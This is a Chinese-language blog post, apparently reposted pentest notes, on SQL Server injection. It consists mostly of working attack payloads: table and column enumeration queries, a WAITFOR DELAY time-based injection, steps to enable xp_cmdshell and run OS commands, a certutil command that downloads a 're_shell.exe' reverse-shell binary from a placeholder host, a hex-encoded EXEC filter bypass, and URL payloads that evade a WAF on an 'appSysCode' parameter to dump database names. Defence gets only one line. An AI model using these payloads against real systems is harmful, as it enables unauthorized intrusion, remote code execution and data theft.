溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行SQL Server 注入的分析

發(fā)布時間:2021-12-30 10:47:56 來源:億速云 閱讀:211 作者:柒染 欄目:網(wǎng)絡安全

這篇文章將為大家詳細講解有關(guān)如何進行SQL Server 注入的分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

在實習的滲透測試項目中,遇到的數(shù)據(jù)庫系統(tǒng)絕大部分是SQL Server。也算是了解和熟悉Mssql 的一個重要過程吧。

獲取某數(shù)據(jù)庫的所有表(假設庫名為fooDB)

--XType='U':表示所有用戶表;

--XType='S':表示所有系統(tǒng)表;

SELECTname FROM fooDB..sysobjects Where xtype='U';

獲取某表所有字段名(假設表名為fooTable)

SELECTname FROM SysColumns WHERE id=Object_id('fooTable');

延時注入

SELECT* FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3';

2、常用內(nèi)置函數(shù)

db_name()-- 當前庫名

user-- 當前用戶名

suser_name()-- 登陸用戶名

3、like查詢大小寫敏感模式

SELECT* FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%'; 

舉例分析Chinese_PRC_CS_AI_WS:

前半部份:指 UNICODE字符集,Chinese_PRC_指針對大陸簡體字UNICODE 的排序規(guī)則。

_BIN 二進制排序

_CI(CS) 是否區(qū)分大小寫,CI不區(qū)分,CS區(qū)分

_AI(AS) 是否區(qū)分重音,AI不區(qū)分,AS區(qū)分

_KI(KS) 是否區(qū)分假名類型,KI不區(qū)分,KS區(qū)分

_WI(WS) 是否區(qū)分寬度,WI不區(qū)分,WS區(qū)分

4、實現(xiàn)limitm,n

查詢結(jié)果中第7 條到第 9條記錄,如 MySql中的 limit 7,3

selecttop 3 id from tablename

whereid not in (

selecttop 6 id from tablename

)

開啟xp_cmdshell存儲過程

EXECsp_configure 'show advanced options', 1;

RECONFIGURE;

EXECsp_configure 'xp_cmdshell', 1;

RECONFIGURE;

關(guān)閉只需將開啟語句的第二個1改成0再執(zhí)行即可

運行命令

execmaster..xp_cmdshell "whoami";

execmaster..xp_cmdshell "ping 127.0.0.1 -n 5 > nul";

execmaster..xp_cmdshell "certutil -urlcache -split -fhttp://IP/re_shell.exe D:\re_shell.exe";

徹底防御xp_cmdshell方法:修復sql注入漏洞、刪除xplog70.dll 組件

and可用:?key=aa'+and+db_name()>1

and不可用:?key='%2buser()^1

convert轉(zhuǎn)換類型:?key=a'%2b(convert(int,@@version))

; dEcLaRe @s vArChAr(8000) sEt

@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29eXeC(@s)-- -

2、有趣的繞過例子輸入單引號時會報錯

如何進行SQL Server 注入的分析

嘗試%23和--+-的注釋來判斷后端數(shù)據(jù)庫系統(tǒng)類型。語句出錯的時候返回200并報錯。正確的時候是302??芍獮閙ssql。

服務端對數(shù)據(jù)進行了攔截和過濾,拒絕處理請求。然而可利用varchar^int 來爆出數(shù)據(jù)。

?appSysCode='%2buser%5e1--+-

如何進行SQL Server 注入的分析

攔截有點厲害。嘗試了許多select方式都不行。

?appSysCode=a'%2b(select+'aaa')--+-

?appSysCode=a'%2b(select+1)%5e1--+-

?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(這里只有a報錯)

?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+-(這里直接302)

?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-

?appSysCode=a'%3bSELECT+11--+-

?appSysCode=a'%3bexec+xxxxx--+-

不過還是存在規(guī)則缺陷的。

?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+-


如何進行SQL Server 注入的分析

可爆出任意數(shù)據(jù)

?appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-

關(guān)于如何進行SQL Server 注入的分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI